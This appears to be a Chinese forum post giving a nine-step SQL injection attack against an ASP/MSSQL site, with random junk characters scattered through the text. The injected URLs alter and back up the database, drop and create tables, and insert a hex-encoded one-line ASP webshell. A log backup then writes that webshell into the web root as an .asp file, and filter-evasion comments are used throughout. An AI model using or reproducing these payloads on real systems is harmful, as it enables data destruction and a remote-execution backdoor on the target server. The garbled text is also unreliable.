第一步
+ z, o, r+ C" a* e) r7 Ihttp://itpro.blog.163.com/test.asp';alter/**/database/**/[netwebhome]/**/set/**/recovery/**/full[/url]--$ N# B0 e+ G+ s2 P( d
6 R& ^0 G: `$ m5 q" X! `& `
第二步:/ m. _2 h7 m) M6 u; Y# W; {% t
http://itpro.blog.163.com/test.asp';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%3D0x640062006200610063006B00/**/backup/**/database/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--6 H. z v- L* ~' K7 K- d
@5 |( [: ^$ U( F0 f
第三步0 |! y2 H5 V' T3 g
http://itpro.blog.163.com/test.asp';drop/**/table/**/[itpro]--
6 ]* w' | ]. ]4 \$ n3 g. f: T' {9 H6 d
第四步$ J! Q: [5 K8 a7 O" y @; f
http://itpro.blog.163.com/test.asp';create/**/table/**/[itpro]([a]/**/image)--
# S- s) x, w' M0 D# g: b$ F( i, f& B5 c
第五步5 X7 T2 `0 X/ g2 P* ~$ c
http://itpro.blog.163.com/test.asp';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%3D0x640062006200610063006B00/**/backup/**/log/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--* H- q d) q% J& w
1 {( j7 { F1 x* m4 [# W+ |第六步& E7 z" J7 l5 D* l; i! `& e5 Y* p9 y
http://itpro.blog.163.com/test.asp';insert/**/into/**/[itpro]([a])/**/values(0x3C254578656375746528726571756573742822697470726F222929253E)--9 ]8 \1 g; H2 G+ ~; l
8 Z& A4 C: X4 m; {4 K- W# G第七步
6 }9 A5 S% X/ K( jhttp://itpro.blog.163.com/test.asp';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%0x64003A005C007700770077005C0077007700770072006F006F0074005C0077006F0077005C006C006500660074002E00610073007000/**/backup/**/log/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--
+ b1 _7 o6 B! Q9 f! w: I' v( u& ?# x! d; Z8 Z- m' o Q) R5 m
第八步
% s6 @! q3 x ?( A4 Q" S) whttp://itpro.blog.163.com/test.asp';drop/**/table/**/[itpro]--) k, ~; {, B2 S/ E$ \
" j0 k$ c" l4 i% H* i2 h' G$ }
第九步
9 y% A# w9 {4 B9 H) Q/ |http://itpro.blog.163.com/test.asp';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%3D0x640062006200610063006B00/**/backup/**/log/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--: `, ^7 n: ]6 i8 ^) E+ e* Y7 U& W) b: f
|